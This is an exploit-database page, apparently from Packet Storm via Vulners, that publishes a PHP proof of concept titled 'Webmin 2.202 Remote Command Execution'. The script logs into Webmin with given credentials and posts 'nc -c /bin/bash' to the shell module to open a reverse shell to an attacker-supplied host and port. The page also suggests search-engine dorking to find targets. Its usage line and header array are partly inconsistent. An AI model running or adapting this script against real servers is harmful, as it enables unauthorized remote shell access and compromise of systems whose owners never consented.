Lucene search
K

Webmin 2.202 Remote Command Execution

🗓️ 07 Mar 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 336 Views

Webmin 2.202 has a Remote Command Execution vulnerability allowing Reverse Shell attacks.

Code
=============================================================================================================================================
    | # Title     : Webmin 2.202 Reverse Shell attack                                                                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://webmin.com/                                                                                                         |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: This script is an exploit of the vulnerability and aims to perform a Reverse Shell attack, where a command is sent to the server to call nc (Netcat)
    
        on the targeted server to establish a reverse connection with the attacker.
    
       (Related : https://packetstorm.news/files/id/189576/ Linked CVE numbers:  ) .
    	
    [+] save code as poc.php.
    
    [+] Usage = line 84 add information & C:\www>php 2.php 127.0.0.1 21 user pass 127.0.00.2 4444
    
    [+] PayLoad :
    
    <?php
    
    // استيراد المكتبات
    function exploit($rhost, $rport, $username, $password, $lhost, $lport) {
        // إعداد روابط الدخول والأوامر
        $login_url = "https://$rhost:$rport/session_login.cgi";
        $command_url = "https://$rhost:$rport/shell/index.cgi";
    
        // بيانات تسجيل الدخول
        $login_data = array(
            "user" => $username,
            "pass" => $password
        );
    
        // إعداد الرؤوس الخاصة بالطلب
        $headers = array(
            "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0",
            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
            "Referer" => "https://$rhost:$rport/session_login.cgi?logout=1",
            "Origin" => "https://$rhost:$rport",
            "Connection" => "keep-alive",
            "Upgrade-Insecure-Requests" => "1",
            "Cookie" => "redirect=1; testing=1; sid=x"
        );
    
        // إعداد الجلسة
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // تعطيل التحقق من الشهادات
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // عدم التوجيه التلقائي
    
        // محاولة تسجيل الدخول
        echo "Attempting to log in...\n";
        curl_setopt($ch, CURLOPT_URL, $login_url);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        $response = curl_exec($ch);
    
        if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 302) {
            // الحصول على SID من الاستجابة
            preg_match('/Set-Cookie:.*?sid=([^;]*)/', $response, $matches);
            if (isset($matches[1])) {
                $sid = $matches[1];
                echo "Login successful!\n";
    
                // تحديث ملف تعريف الارتباط بالـ SID
                $headers["Cookie"] = "redirect=1; testing=1; sid=$sid";
    
                // تجهيز الحمولة للأمر
                echo "Check your listener on $lhost:$lport\n";
                $boundary = "---------------------------30454280098212925122759899223";
                $payload = "nc -c /bin/bash $lhost $lport";
                $command_data = "--$boundary\r\n" .
                                "Content-Disposition: form-data; name=\"cmd\"\r\n\r\n$payload\r\n" .
                                "--$boundary\r\n" .
                                "Content-Disposition: form-data; name=\"pwd\"\r\n\r\n/root\r\n" .
                                "--$boundary\r\n" .
                                "Content-Disposition: form-data; name=\"history\"\r\n\r\n\r\n" .
                                "--$boundary--\r\n";
    
                // إرسال الأمر
                curl_setopt($ch, CURLOPT_URL, $command_url);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $command_data);
                curl_setopt($ch, CURLOPT_HTTPHEADER, array_merge($headers, ["Content-Type: multipart/form-data; boundary=$boundary"]));
                $command_response = curl_exec($ch);
    
                echo "[+] Exploited successfully\n";
                exit(0);
            } else {
                echo "Login failed: SID not found.\n";
                exit(1);
            }
        } else {
            echo "Login failed.\n";
            exit(1);
        }
    
        curl_close($ch);
    }
    
    // قراءة المدخلات من سطر الأوامر
    if ($argc < 7) {
        echo "Usage: php script.php <rhost> <rport> <username> <password> <lhost> <lport>\n";
        exit(1);
    }
    
    $rhost = $argv[1];
    $rport = $argv[2];
    $username = $argv[3];
    $password = $argv[4];
    $lhost = $argv[5];
    $lport = $argv[6];
    
    // تنفيذ الاستغلال
    exploit($rhost, $rport, $username, $password, $lhost, $lport);
    
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation